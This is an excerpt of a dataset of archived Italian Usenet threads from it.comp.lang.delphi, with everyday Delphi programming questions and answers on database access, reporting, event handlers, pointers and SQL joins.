mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.lang.delphi
Titolo: Eliminare righe sa una tabella di un database MySQL

Salve,
mi sono accorto che lavorando in Delphi su tabelle di un database MySQL, non
posso eliminare le righe. Mi spiego meglio. Provando ad inserire dei dati,
ho fatto un casino con le date, e mi ha memorizzato anche
ora-minuti-secondi, ed a me interessava memorizzare solo la data in formato
giorno-mese-anno.
Ora, io ho giŕ fatto questa operazione in Kylix, e non capisco perchč in
Delphi non funzioni. Ho visualizzato la tabella tramite un controllo
DBGRID,e con un controllo DBNavigator, mi posiziono sul record da eliminare,
e cerco di eliminarlo, cliccando sul elativo pulsante. Ma si verifica un
errore strano.
Project Pinco has raised exception class EOleException with message
"Informazioni sulla colonna chiave insufficienti o errate. Troppe righe
interessate all'aggiornamento' Process Stopped.
Ho usato componenti Ado con una connessione ODBC, poi con una connessione
OleDB, poi componenti DBE, ma i risultai sono stati sempre gli stessi.
Allora ho creato un pulsante di comando chem i eseguiva la seguente query:
Adoquery2.sql.Add('Delete From Storico Where
Data='+quotedstr(AdoQuery1['Data']));
AdoQuery2.execsql;
AdoQuery1 serve per la query di selezione e per visualizzare i dati sul
controllo dbgrid.
Ma la query mi lascia inalterata la tabella.
Che cosa c'č di errato?
Franz

Ho usato componenti Ado [...]
E` un bug dei componenti ADO di Delphi.
Si risolve installando l'update Borland di ADOExpress.
-- 
Andrea Laforgia
Open Delphi Manual
http://groups.yahoo.com/group/delphi_open_manual/

 Si risolve installando l'update Borland di ADOExpress.
A quale versione di Delphi ti riferisci? Io sto usando Delphi 6 Enterprise.
Franz

 Si risolve installando l'update Borland di ADOExpress.
Non è quello il problema. Il problema era nel formato diverso delle date
usato in Delphi ed in MySql. Studiando meglio il problema sono riuscito a
risolverlo
Franz

Non è quello il problema. 
Scusa, pensavo si trattasse del classico problema su BOF e EOF.
ADO, la versione buggata, non ti consentiva di cancellare l'unico
record presente nella tabella.

Newsgroup: it.comp.lang.delphi
Titolo: Come cambio stampante?

Ho installato la versione di Quickreport compatibile con Delphi2007 
risolvendo, pensavo, un problema grosso di rifacimento di tutte i reports da 
Delphi6. In effetti la ricompilazione del programma è ok, ma la prima stampa 
(ho appena iniziato a verificare) ha subito presentato un problema che non 
so come superare. La istruzione Print di QuickReport determina la 
presentazione del dialogo della stampante dove viene proposta come default 
la stampante preferita, ma offre anche la possibilità di cambiarla.
Ora, io provo con due stampanti, collegando alternativamente con il cavo usb 
l'una o l'altra stampante. Ecco cosa accade:
- Se, essendo collegato con una laser che è anche "stampante preferita" dò 
l'ok alla stampa con questa, viene visualizzata l'icona della stampante come 
se stesse per stampare, ma mostra 0 documenti in coda.
- Se collego  una inkjet Epson e  nel dialogo della stampante cambio la 
stampante impostando la inkjet, l'icona della stampante che viene 
visualizzata mostra correttamente (pur senza nome..) un processo in coda, ma 
sulla coda della stampante laser non in linea. In questo caso, se scollega 
la inkjet e collego la laser, la coda si svuota senza la stampa. 

Hai provato a disinstallare e reinstallare le stampanti? Sembra che si 
siano mischiati gli spooler di stampa..
-- 
Morde

1) L'anteprima va oppure no?
2) sei su xp?
3) se fai lo stesso gioco delle tre carte mentre stampi da una cosa
diversa dalla tua app delphi succede la stessa cosa?
4) hai visto se nel registro eventi di windows viene scritto qualcosa?
5) riesci a provare la stessa cosa su un altro pc?
6) tutto sto casino succede dentro delphi, a runtime o sempre?
A.

 ha scritto nel messaggio 
news:3df39d8d-b5ed-4564...@z4g2000yqa.googlegroups.com...


> - non ho guardato il registro eventi di windows. Come si chiama ?
pannello di controllo-strumenti di amministrazione -visualizzatore
eventi.
1) Fai una prova veloce con TPrinter e vedi cosa succede
2) Se puoi, magari anche una prova veloce con FreeReport
A.

 ha scritto nel messaggio 
news:67caf8c6-bb75-4f8d...@m37g2000yqf.googlegroups.com...


 FreeReport cos'è ? Un'alterrnativa ?
In google veritas
A.
Newsgroup: it.comp.lang.delphi
Titolo: finalmente web snap

ragazzi sono riuscito a trovare alcuni pdf che spiegano come fare progetti 
in web snap con esempi dettagliati se qualcuno dovesse avere alcuni problemi 
su questo argomento pu� chiedere 

 questo argomento puï¿œ chiedere
Mi piacerebbe che condividessi col gruppo i tuoi pdf, se fosse 
possibile ovviamente (mi riferisco ai diritti d'autore eventuali) ;-)
Io per sharare dei files ho usato 
box.net
 (
http://www.box.net/
) 
gratuito e molto potente.
ciao
-- 
Morde

Il fatto che io scriva qua con una email VERA non e' una implicita
autorizzazione a scrivermi in privato senza il mio consenso.
Grazie.
A.

 autorizzazione a scrivermi in privato senza il mio consenso.
Magari era preoccupato che tu non riuscissi piu' a dormire la notte
sapendo 
che lui non sapeva come lavorare con WebSnap e ha voluto tranquillizzarti 
direttamente che aveva risolto il suo problema.
Adesso puoi ricominciare a sognare i numeri del Lotto ...
Ciao
ACSH
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it


Normalmente quando si apre un post con una richiesta
e poi si trova la risposta, � buona educazione
indicare dove, come, cosa ha portato alla soluzione
visto che questo � un newsgroup dove tanta
gente viene per chiedere, ma anche per rispondere.
Ciao
C. 

 autorizzazione a scrivermi in privato senza il mio consenso.
<OT>
Albert,
ma perche' ti inca%%i tanto quando uno ti scrive in privato?
Forse perché la cosa fa tanto ridere me e mi allieta le giornate più
cupe?
Alberto grazie di cuore!
</OT>
Gp :-)

 su questo argomento può chiedere
Bello,
e ci lasci nella curiosità cosi'?
Gp

 cupe?
..tu ridi per ste cose qua? beato te! :-P
A.

scusa alberto.... mi sono scbagliato-!!!
tichiedo scusa 

 tichiedo scusa
Rimaniamo in attesa delle tue fonti
Gp


Io chiedo!!!   8-)
Grazie.
MF
Newsgroup: it.comp.lang.delphi
Titolo: EAN/UCC 128

Aggiornamento.
Sono riuscito a fare un po' di cosette: stampa del barcode, decodifica ecc.
Chi vuole confrontarsi ?
Grazie.

Chi vuole confrontarsi ?
Sei OT.  Rispetta il topic del gruppo, per cortesia.

Andrea Laforgia ha scritto:

Il software non l'ho realizzato se non con Delphi...
Ciao !

> Il software non l'ho realizzato se non con Delphi...
onestamente non ho capito...
A.

 
Tempo fa' chiesi informazioni su EAN/UCC stampa etichette, software di 
decodifica dei dati inseriti nell'EAN/UCC; nessuno aveva risposto.
Dato che ho realizzato un piccolo sw in Delphi che stampa le etichette, 
gestisce la lettura del barcode e relativa decodifica pensavo che a 
qualcuno potesse interessare.
E dato che il sw l'ho realizzato con Delphi ho risposto solo questo.
Ciao !

Il software non l'ho realizzato se non con Delphi...
Sei OT ugualmente.

e pensavo che a qualcuno potesse interessare.
Bravo! condividere le esperienze dovrebbe essere lo spirito di un forum
se poi sei OT è meno importante IMHO
Ciao
--- posted by geoForum on 
http://www.delphiedintorni.it

genesi ha scritto:

Mi spiegate cosa c'è di OT ?
E' un programma in Delphi.
Ciao !

E' un programma in Delphi.
Non lo devi dire a me non sono un esperto di OT :)
ciao


Andrea Laforgia ha scritto:

Sai cosa dicono dalle mie parti ?
Che feta de melu' !
Ciao !

Newsgroup: it.comp.lang.delphi
Titolo: puntatore Sender

è possibile attraverso il puntatore Sender di un gestore d'evento, risalire
al nome dell'oggetto chiamante, alle sue proprietà e metodi.
Negli esempi che ho visto finora, si fa il confronto tra il puntatore e
l'eventuale oggetto es.:
if Sender = Edit1 then
begin
end;
se devo tuttavia attribuire lo stesso handler a molti oggetti, questo
sistema richiede molto codice, non c'è un'altra soluzione?
Grazie !!!
Paolo

 al nome dell'oggetto chiamante,
Guarda i metodi
 sender.ClassType
 sender.ClassName
 sender.ClassParent
puoi risarlire al tipo di oggetto e comportarti di conseguenza.
Ciao, Davide DG

 è possibile attraverso il puntatore Sender di un gestore d'evento,
risalire


sistema richiede molto codice, non c'è un'altra soluzione?
Normalmente se devo condividere un gestore fra piu' istanze di uno
stesso tipo uso un case su Tag.
hth
Paolo Arosio
Newsgroup: it.comp.lang.delphi
Titolo: OnClick su Bottoni a Runtime

Come si assegna una procedura all'evento ONCLICK di un Bottone creato a
Run-time ?
Ho questa procedura:
procedure BOTTONE;
var BT: TButton;
     procedure CliccaBottone {(Sender: TObject)?}
     begin
    ...................
    end;
begin
-->Creazione Bottone....
BT.OnClick:= ??CliccaBottone??
end;
GRAZIE

 Run-time ?
[...]
========
........
......
type
      TForm1 = class(TForm)
          Button1: TButton;
          procedure FormCreate(Sender: TObject);
  private
             procedure CliccaBottone(Sender: TObject);
  public
  end;
var
  Form1: TForm1;
implementation
// la procedura da assegnare deve avere gli stessi parametri
// di quella a cui la devi assegnare
procedure TForm1.CliccaBottone(Sender: TObject);
begin
    // tue operazioni
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
    {creazione del pulsante}
     Button1.OnClick:=CliccaBottone;
end;
end.
==============
Ciao.
--
DeViL!
=====================================
Togliere ILDISTURBO per rispondere :-)
=====================================
-------------------------------------------------------------
"...tu mi hai illuso che ero un illuso di sogni mi hai privato
ed ora non ti scuso di talento abuso, nella vita di ogni giorno
adesso la mia testa uso..." (ST)
-------------------------------------------------------------


eh eh eh .... è qui il problema ! non posso dichiarare la procedure come
private (o public) di una form.... è messa in una unit a se che viene
richiamata......
<<
Non si capisce quale sia il problema: basta che sia un TNotifyEvent e che
sia visibile dal punto in cui la vuoi assegnare:
// ------------------------------------
unit Unit2;
interface
uses Windows, Classes;
procedure NonObjMethod(Sender: TObject);
type
  TDummyObject = class(TObject)
    procedure ButtonClickHandler(Sender: TObject);
  end;
implementation
// non si può assegnare una procedura ad un evento
procedure NonObjMethod(Sender: TObject);
begin
  Beep(880, 250);
end;
{ TDummyObject }
procedure TDummyObject.ButtonClickHandler(Sender: TObject);
begin
  Beep(440, 500);
  // (Sender as TButton).OnClick :=  NonObjMethod; <- non compila
end;
end.
// -------------------------------
// Unit che contiene il button
implementation
{$R *.DFM}
uses Unit2;
var aDummy: TDummyObject;
procedure TForm1.FormCreate(Sender: TObject);
begin
  aDummy := TDummyObject.Create;
  Button1.OnClick := aDummy.ButtonClickHandler;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  aDummy.Free;
end;
// -----------------------------------
Saluti
Paolo Arosio

 end;
Ciao,
          solo un piccolo consiglio "stilistico": a questo punto io
preferirei instanziare l'oggetto dummy nella initialization della unit2 e
liberarlo nella finalization...
Ciao :-)
--
Andrea Magni
E-Mail: 
ama...@interac.it
Newsgroup: it.comp.lang.delphi
Titolo: Immagine di sfondo su QReport.

Ciao a tutti,
Il problema è il seguente: devo inserire un'immagine di sfondo un
report. Ho cercato di farlo con il quick report ma quando vado a
stampare le bande mi rimangono sotto l'immagine.
Ho già provato a mandare l'immagine sul fondo ma senza risultato. Per
mettere l'immagine dove volevo io, non l'ho inserita in nessuna banda.
Sapete come posso risolvere la cosa?
Saluti e grazie,
    Mirko.

Se metti l'oggetto TQRImage contenente l'immagine che ti interessa
direttamente sull'oggetto TQuickRep vedrai che funziona !!!
L'oggetto TQuickRep non serve soltanto per contenere banche ma anche per
costruire report (stile i prefincati delle fatture)...
Ciao
Solid Snake

 costruire report (stile i prefincati delle fatture)...
Lo so!! :-(
Grazie per l'aiuto, riproverò!! :-)
Saluti,
   Mirko.

che versione di q.r. hai ?
se vuoi mandami un piccolo esempio...se posso esserti di aiuto...
ciao
Solid Snake

Newsgroup: it.comp.lang.delphi
Titolo: ListBox a più colonne

Ragazzi qualcuno mi sa dire come si fa a scrivere nelle varie colonne di
una ListBox dove la proprietà Colums è > 1.
Grazie a tutti!
Mary
--
Posted from 
jolly.intesa.it
 [194.196.14.1] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 ha scritto nel messaggio
news:C1256923.0...@lotnot1.intesa.it...
Ragazzi qualcuno mi sa dire come si fa a scrivere nelle varie colonne di
una ListBox dove la proprietą Colums č > 1.
Grazie a tutti!
Mary
Mary, anche se Columns č maggiore di uno questo cambia solo il modo di
presentazione degli item non la loro organizzazione,
quindi se hai 3 colonne con 6 elementi ciascuno in visualizzazione hai che :
1° elemento prima colonna e listbox1.items[0]
1° elemento seconda colonna e listbox1.items[6]
e cosi via...
Ciao!
Newsgroup: it.comp.lang.delphi
Titolo: Delphi 5 e TChart (ci riprovo)

Salve a tutti! Ho riscontrato il seguente problema utilizzando il TChart in
D5 e volevo capire se qualcun altro é incappato in tale problema e se
eventualmente esiste una soluzione.
Il problema é il seguente :
- creato un TChart su una form (progetto nuovo partito da zero)
- inserita una LineSeries (da disegno)
- da programma riempio la serie cone le seguenti istruzioni :
  Series1.Clear;
  Series1.AddXY(1,16410000,'2001',clTeeColor);
  Series1.AddXY(2,16410000,'2002',clTeeColor);
quando il programma esegue quelle istruzioni spara fuori un cattivissimo
Invalid Pointer Operation che pianta tutto!
Facendo vari tentativi ho notato che il problema é dovuto al fatto che i
valori inseriti per l'asse Y sono uguali e sono maggiori di un certo valore
(se metto 1000 e 1000 il tutto funziona). La mia ipotesi é che il componente
si inchiodi nel tentativo di disegnare gli assi nel caso di valori Y elevati
ma non avendo i sorgenti é difficile capire.
Qualcuno ha qualche idea?
Saluti e Grazie a tutti.
Davide Angeli

 
Hai provato a consulatare il sito indipendente DelphiBug?
http://www.dataweb.nl/~r.p.sterkenburg/indexpag.htm
Ciao.
Mimmo.

 Mimmo.
Sulla pagina cui il link fa riferimento, campeggia un meraviglioso ed
esauriente "Latest update: 27 March 2000."
Se non sbaglio, non era ancora uscito D6...
Che razza di consiglio č ?

 Che razza di consiglio è ?
Ma non gli serviva per D5? (ho letto il subj...)
:)
Ciao.
Mimmo.

 Mimmo.
Vero.
Chiedo scusa.
Sorry.
Mi ritengo attapirato.
Cercando di rimediare, ho letto un po di help, ed ho riguardato del codice
scritto tanto tempo fa in D5 che utilizzava la stessa funzione, ed ho notato
che in effetti io stesso ho utilizzato valori anche superiori ai 16410000,
senza avere problemi.

 senza avere problemi.
Il problema non sta nel fatto di avere valori superiori a 16410000 (anche io
vado oltre e non mi ha mai dato problemi). Invece il problema sta nel fatto
(mi é capitato per caso) di avere un grafico TLineSeries con SOLO DUE valori
uguali a 16410000) come da esempio da me riportato.
Ciao.
Davide
Newsgroup: it.comp.lang.delphi
Titolo: OT: Richiesta Assistenza / Aiuto / Istruzione

A causa del grosso lavoro di manutenzione e sviluppo di alcune mie grosse
applicazioni Dos, non riesco a dedicare molto tempo allo sviluppo e/o
conversione di nuove applicazioni delphi c/s. Data la mia non grossa
esperienza e conoscenza in tale ambiente sono in netto ritardo con i miei
numerosi impegni di lavoro. Avrei bisogno di trovare un collaboratore (anche
part-time) disposto oltre che allo sviluppo anche alla mia istruzione. Zona
Caserta/Napoli
Se qualcuno fosse interessato puo rispondermi via e-mail: 
ear...@tin.it

>Se qualcuno fosse interessato puo rispondermi via e-mail: 
ear...@tin.it
Le questo indirizzo funzionasse ti risponderei...
Io sto a Napoli.
Se 6 ancora in giro contattami tu, ok?
Saluti
AS
"Se è Microsoft non funziona"

 >Se qualcuno fosse interessato puo rispondermi via e-mail: 
ear...@tin.it
Chiedo perdono mi sono perso un punto!!! la mia corretta e-mail č:
ear....@tin.it

 >Se qualcuno fosse interessato puo rispondermi via e-mail: 
ear...@tin.it


Newsgroup: it.comp.lang.delphi
Titolo: Sincronizzare socket

  |
|  Delete WORLD from address, to send |
+-------------------------------------+

 dal client al server.....
Non so se ho ben capito il tuo protocollo, ma a prima vista potresti
tranquillamente sincronizzare il tutto utilizzando l'evento OnRead del
TClientSocket.
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

Newsgroup: it.comp.lang.delphi
Titolo: proprietà DBGrid

 Ciao a tutti, vorrei 'copiare' la dbgrid che c'č in outlook: in 
particolare mi interessa sapere se si possono inserire i triangolini che 
evidenziano l'ordine alfabetico e poi se c'č un modo per far adattare la 
larghezza delle colonne in base alla larghezza della dbgrid...
--- posted by geoForum on 
http://www.delphiedintorni.it

 larghezza delle colonne in base alla larghezza della dbgrid...
Dai un'occhiata a questa ricerca:
http://makeashorterlink.com/?E2EA3171B
Ciao! :-)
-- 
MARCO «Alka» BREVEGLIERI
   (
http://www.marco.breveglieri.name
)
Leggi le FAQ di ICLD: 
http://icld.altervista.org
Newsgroup: it.comp.lang.delphi
Titolo: IStruzioen SQL

Ho un problema nel costruire una qry, ho la necessita di pescare i dati da
una tabella di movimenti fatture, che al suo interno contiene il codice
anagrafica  ed il codice ditta. Fin qui nessun problema , faccio un join
tra le tabelle movimenti  con la tabella anagrafiche e poi una join tra
movimenti e tabella ditte .
Il problema nasce nel momento in cui devo selezionare i dati della
localita del cliente e della localita della ditta che sono contenuti nella
tabella dei comuni, 
se inserisco una join tra codice comune cliente e la tabella comuni mi
restituisce i dati corretti, ma se poi accodo un' altra join tra codcie
comune ditta e la tabelal comuni mi restituisce i dati della ditta
sovrascrivendo anche quelli del cliente.
Qualcuno ha un suggerimento?
Grazie
--- posted by geoForum on 
http://www.delphiedintorni.it

Grazie
	Ciao
	MassimoB
 
---------------------------------
http://www.massimobeschi.it/
---------------------------------
Se tu pagare come dici tu ...
Io lavorare come dico io ...
Se tu pagare come dico io ...
Io lavorare come dici tu ...
---------------------------------


Ecco:
select mmovim.* , LCERDESCRIZIONE, TALIDESCRIZIONE, talipercentuale,
/* dati cliente */ 
acforagionesoc1, acfopartitaiva, acfocodicefiscale, acfoindirizzo,
acfocomune as clicom , tcomlocalita as cliloc, tcomprovincia as cliprov,
tcomcap as clicap,
/* dati impresa */
timragionesoc1, timragionesoc2, timindirizzo, timcomune as timcom,
timpartitaiva,
tcomlocalita as timloc ,tcomprovincia as timprov , tcomcap as timcap 
FROM MMOVIM 
left JOIN  LCEREALI ON LCEREALI.lcerCEREALE = MMOVIM.mmovarticolo 
left JOIN  tALIQUOTE ON TALIQUOTE.TALICODICE = MMOVIM.mmovaliquota  
left JOIN  aclifor ON aclifor.acfocodice = MMOVIM.mmovclifor 
inner join tcomuni on tcomuni.tcomcomune = acfocomune
left join timprese on timprese.timcodice = mmovim.mmovimpresa
inner join tcomuni on tcomuni.tcomcomune = timcomune
WHERE MMOV = 119


"delphifree" nel precedente post ha scritto:
il tuo problema č analogo al problema evidenziato in
questo Thread, vedi un pņ se risolvi
http://groups.google.it/group/it.comp.lang.delphi/browse_frm/thread/f20e92e786bb8d67/83805578ca4b951e


---------------------------------
Grazie del consiglio.
Provo e ti faccio sapere
Ciao

Newsgroup: it.comp.lang.delphi
Titolo: Hmm... classi e variabili.

Ciao a tutti!
Effettivamente puo' essere una domanda ambigua, ma che differenza passa tra:
1) Creare una classe con un variabili public, modificabili quindi
direttamente
2) Creare una classe senza variabili public, ma con function che modificano
direttamente variabili private alla classe?
esempio:
1) type TmyClass=class
       private
       public
          conta:integer;
       end; // wow, che classe utile...
    ...
    Classe:=TmyClass.create;
    Classe.conta:=5;
    ...
    if classe.conta=4 then ...
2) type TmyClass=class
       private
          conta:integer;
       public
          procedure setconta(val:integer);
          function getconta:integer;
       end;
     Classe:=TmyClass.create;
     Classe.setconta(5);
     ...
     if classe.getconta=4 then ...
In quali casi e' preferibile il primo caso e in quali il secondo? Quali pro
e contro?
Quello che attualmente mi interessa di piu' e' la velocita' di esecuzione.
Grazie, Chris


Se ti interessano le prestazioni e la classe non deve eseguire nessun tipo
di elaborazione ma č semplicemente un contenitore di dati elaborati
dall'esterno, ti conviene utilizzare un tipo record.
Ciao.
Gianluca

direttamente variabili private alla classe?
Che nel secondo caso sei tu che stabilisci cosa si puo` fare e cosa
no, nel pieno rispetto dell'OOP e di uno dei suoi cardini:
l'information hiding.  Con le parti private di una classe, tu
"nascondi" informazioni che sai tu e solo tu come gestire.  
Un metodo puo` consentire di modificare un dato in un certo modo
oppure no, vincolare in modo assoluto sull'accesso a quella
informazione.  Delphi offre il modello ibrido delle "proprieta`", a
meta` tra le variabili pubbliche (che non andrebbero MAI usate, cosi`
come le variabili globali) e le variabili private.  Le proprieta` sono
comode quanto le variabili pubbliche, ma sicure quanto quelle private,
controllate da metodi particolari.

Grazie a antentrambi! :-)
Chris
Newsgroup: it.comp.lang.delphi
Titolo: Liste dinamiche

Ciao a tutti, sto costruendo un piccolo oggettino per la gestione di numeri 
particolari. Vorrei rappresentare per esempio il numero '123' con una lista 
di 3 nodi contenente rispettivamente 1, 2 e 3. Per questo vorrei usare liste 
dinamiche, ovvero insieme di nodi linkati con puntatori:
type
 pDigit=^Number; //Number pointer
 TDigit= 0..9;
 //Base node for number representing
 Number= record
           Digit     : TDigit;
           NextDigit : pDigit;
         end;
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
TNumber = class
  private
   { Private declarations }
   FNumber: pDigit;   // Number ;
 ...
Nella Create ho messo semplicemente:
FNumber:=nil;
Vorrei che FNumber fosse la testa della lista, ovvero un puntatore al primo 
nodo della lista. Tra l'altro ho notato che scrivendo 'FNumber.'  l'ambiente 
(D7) mi suggerisce i campi 'Digit' e 'NextDigit'. La cosa non mi piace per 
niente visto che ho definito FNumber come pDigit e NON come Number. Sarebbe 
giusto, penso, che il suggerimento compaia con 'FNumber^.'. Ma questo č un 
dettaglio stupido.
Il vero problema č la funzione di aggiunta nodo:
function TNumber.AddDigitHead(Digit:TDigit):boolean;
var
 newNum:Number;
begin
 try
   newNum.Digit:=Digit;
   if (FCount=0) then
     newNum.NextDigit:=nil
   else
     newNum.NextDigit:=FNumber^.NextDigit;
   FNumber:=@newNum;
   inc(FCount);
   result:=true;
 except
   result:=false;
 end;//try
end;
Ovviamente, alla fine della funzione newNum viene distrutto e quindi il 
contenuto FNumber^.Digit cambia. Vorrei sapere qual č allora la funzione 
(direi equivalente della malloc del C) per allocare la memoria.
Grazie mille, Giuseppe
P.S. sarebbero molto graditi commenti sull'impostazione della struttura 
dell'oggetto 

 del C) per allocare la memoria.
Dai un'occhiata a New e Dispose.
Acqua

Newsgroup: it.comp.lang.delphi
Titolo: Ordinare inversamente un ComboBox

 
          Ciao,
probabilmente è una domanda idiota, però non ho trovato niente.
Dunque, con la seguente istruzione ordino un combo box alfabeticamente dalla
A alla Z
    MyCombo.sorted:=true;
Se lo volessi ordinare inversamente (dalla Z alla A) devol leggerlo io al
contrario ed invertire le posizioni oppure c'è una istruzione che lo fa da
sola?
Grazie, Mario
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 sola?
Creati un combo personalizzato, ereditandolo da questo, con una proprieta'
"sortOrder" che possa essere ASC, DESC, ASIS ad esempio... ;-)
Ciao!
-- 
Morde. 
FAQ di icld (beta-version): 
http://icld.altervista.org
 
M-List di icld: 
http://it.groups.yahoo.com/group/icld/

 ha scritto nel messaggio 
news:2gh6pp6uc3l8.c...@40tude.net...

Newsgroup: it.comp.lang.delphi
Titolo: informart@ciaoweb.it

Salve professore, è un pò che non ci si sente!
sto facendo grandi progressi con il Delphi, mi è appena arrivato il libro
'Delphi 4- la guida completa' , ma sto imparando soprattutto da amici fatti
su it.comp.lang.delphi, una vera miniera di informazioni!
finalmente mi dedico a qualcosa di + serio rispetto alle sciocchezzuole che
facevo prima in TP e C!
e voi cosa mi dite? avete scelto e comprato un libro sui database in delphi?
sapete già se tornerete l' anno prossimo? Arrivederci :-)

> Salve professore, è un pò che non ci si sente!
dehehi :D
mi sa che hai sbagliato casella :D
Miiiii hai anche pubblicato l'email del professore!
Ora come minimo ti boccia ! :D
Ciao !                            {MSX}

 ha scritto nel messaggio
news:9hvga4$anl$1...@nreadA.inwind.it...


Newsgroup: it.comp.lang.delphi
Titolo: Form & Free

Come posso vedere se un Form e' stato distrutto? Ho provato con
Form1=Nil ma ho un access violation ...
--
Giuseppe Fraddosio
fradd...@libero.it
fradd...@supereva.it

 ha 
scritto sull‘argomento Form & Free:


 Form1=Nil ma ho un access violation ...
Mi sembra di aver capito cosa intendi, ma potresti essere più preciso?
Vorrei controllare a runtime se un form e' stato distrutto con Free o
meno.
Se la finestra non e' mai stata aperta e provo controllare con un If
Form1=Nil funge, ma se viene distrutta con Form1.Free e poi controllo
nuovamente con l'if di prima mi restituisce un access violation. Spero
di essere stato piu' preciso. In ogni caso grazie per
l'interessamento.



Prova con Assigned, per maggiori chiarimenti leggi l'help di delphi se può
fare al caso tuo
Saluti e Buon 2002 NEA

 ha scritto nel messaggio
news:iHkY7.12827$s04.5...@news.infostrada.it...


 if form1.visible then ..... ???
Ma se form1 = Nil  --> AC ???? penso di si :)
NEA

>
constructor TfrmBaseChild.CreateChild(AOwner: TComponent;
  var aReference: TObject);
begin
  Create(AOwner);
  FReferToMyself := @aReference;
end;
destructor TfrmBaseChild.Destroy;
begin
  if Assigned(FReferToMyself) then
    TComponent(FReferToMyself^) := nil;
  inherited;
end;
Funziona OK se la chiusura avviene dalla form stessa. Se invece e' il
creatore che chiama aChild.Close e' necessario aggiungere un
ProcessMessages / a rigore, dovrebbe essere un ciclo di ProcessMessages
(while Assigned(aChild) do )/.
Close, infatti, nel caso Action sia caFree chiama Release, che non fa
altro che *postare* un CM_RELEASE; il metodo CMRelease, infine, chiama
Free e Destroy mette a nil la reference della madre.
Quindi, se la from madre invoca Child.Close per usare il riferimento per
una nuova istanza, si ritrova alla fine della procedura con l'istanza
creata, ma col riferimento non valido a causa del Destroy processato in
ritardo.
<<
Saluti
Paolo Arosio

Newsgroup: it.comp.lang.delphi
Titolo: attributi dei file in delphi 7

Ho provato in tutti i modi a modificare gli attributi di sola lettura
dei file, con i comandi di sysutil, ma pur non ottenendo errori, le
proprietà non cambiano.
Qualcuno sa aiutarmi?

 Ho provato in tutti i modi a modificare gli attributi di sola lettura
un po di codice? 
A.
Newsgroup: it.comp.lang.delphi
Titolo: Esecuzione remota di un comando

Come faccio ad eseguire un comando remoto da Delphi 6.0 ?
Grazie
-- 
The Nick
A posto cosi', grazie.

Come faccio ad eseguire un comando remoto da Delphi 6.0 ?
Che intendi per "comando remoto" ? 

Che intendi per "comando remoto" ? 
Rexec, come ho risolto grazie.
C'era un esempio nella demos che non avevo visto.


Newsgroup: it.comp.lang.delphi
Titolo: Delphi e WinCE... a che punto siamo?

Buonasera a tutti, ho letto svariati post sulla faccenda ma nessuno mi
ha chiarito le idee, probabilmente anche perché non erano recenti e
quindi.... sparo la domanda.
Qualche buon uomo ha provato a realizzare un'applicazione in Delphi
che giri sotto Windows CE?
...se si con quale versione di Delphi e con quale di Win CE?
Infine, è riuscito ad utilizzare qualche emulatore?
Insomma, come avrete intuito brancolo nel buio quindi ogni commento è
ben accetto !

se trovi info sarei interessato pure io
Simo

 Simo
Window ce "fu"....Ora c'e' Winzozz Mobile
http://www.microsoft.com/windowsmobile/developers/default.mspx
A.

 che giri sotto Windows CE?
So che con Lazarus si può fare qualcosa, ma io non ne ho mai avuto
l'esigenza, quindi non ti so dire fino a che punto ci si può spingere.
Se ti interessa, puoi partire da qui:
http://wiki.lazarus.freepascal.org/WinCE_port
Ciao, Mario
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

ho provato a installare lazarus e wince per lazarus, però sembra poco user 
friendly in sistema per svilupparci...
Simo 

 friendly in sistema per svilupparci...
puoi essere + preciso?
A.

Newsgroup: it.comp.lang.delphi
Titolo: delphi 6 developer's guide aggratisse

1) andate su 
http://safari.oreilly.com
2) cercate delphi 6 sul motore di ricerca interno
3) selezionate 'delphi 6 developer's guide' di Teixeira Pacheco
4) cliccate su 'Examples' nella scheda del libro
5) nella cartella ebooks c'e' TUTTA la delphi 6 developer's guide in
PDF, e TUTTA la delphi 5 developer's guide, sempre in PDF, gli esempi
sono nelle altre cartelle. Non c'è bisogno di abbonarsi a safari..
buon anno (NB - per la cronaca sono abbonato a safari e ho acquistato
le tre edizioni precedenti del Teixeira-Pacheco)
fe...@delenda.net
-- 
can't help it, I'm a born lever puller

 le tre edizioni precedenti del Teixeira-Pacheco)
Grazie mille, pare che il sito abbia qualche difficolta' a caricare (forse
troppa gente ha saputo... effetto slashdot-like?).
E visto che ci siamo, tanti auguri a tutti.
A proposito del libro... tu che hai le edizioni precedenti, pensi che sia un
testo valido? E' completo? E' adatto per chi comincia? Posso consigliarlo a
qualche amico che vorrebbe imparare?
E a proposito di O'Reilly... come hai saputo che il libro era gratis? Ce ne
sono altri? E' un regalo di natale dell'editore?
Grazie di nuovo...


fe...@delenda.net
-- 
De vuelta de la ciudad de las bajas pasiones
que sirvan tequila, limones y un puñado de sal

fe...@delenda.net
 wrote:

 quancuno ha mai visto la developer's guide' in Italiano è sa dove trovarla.
Newsgroup: it.comp.lang.delphi
Titolo: dubbi su installazione

salve ragazzi una domanda che per voi sicuramente sarà uno scherzo!
Ho installato un package e come da programma mi e apparsa la relativa
icona nelle palette.
Nel mio programma devo cmq icludere le relative unit nella sezione
uses? Non dovrebbero essere incluse automaticamente?
Grazie a tutti
Ciao
Cekko

Ciao Marco, allora mi spiego meglio, io ho installato queste componenti
e se apro la demo che c'è nella libreeria le componenti vengono
installati automaticamente nelle uses, se invece apro una nuova
applicazione le componeti nelle palette ci sono regolarmente, mentre le
unit nella sezione uses non appaiono. Se dichiaro una variabile
contenuta nei tipi all'interno della libreria mi da errore in fase di
compilazione. Se le aggiungo io manualmente me le riconosce.
Dove è che sbaglio?

CEKKO ha scritto:

Delphi aggiunge il nome della unit corrispondente solo quando appoggi il 
componente dalla Palette sul Form o sul Frame.
Non avrebbe senso che ti elencasse nella clausola *uses* TUTTE le unit 
corrispondenti ai componenti installati che magari non utilizzi, senza 
considerare peraltro che alcune unit potrebbero contenere codice che 
viene compilato aumentando le dimensioni del file eseguibile finale.


Ok allora avro commesso qualch'altro tipo di errore!
Ti ringrazio per il momento in relazione a questa problematica!!
A presto
Ciao e grazie
Francesco

 Ok allora avro commesso qualch'altro tipo di errore!
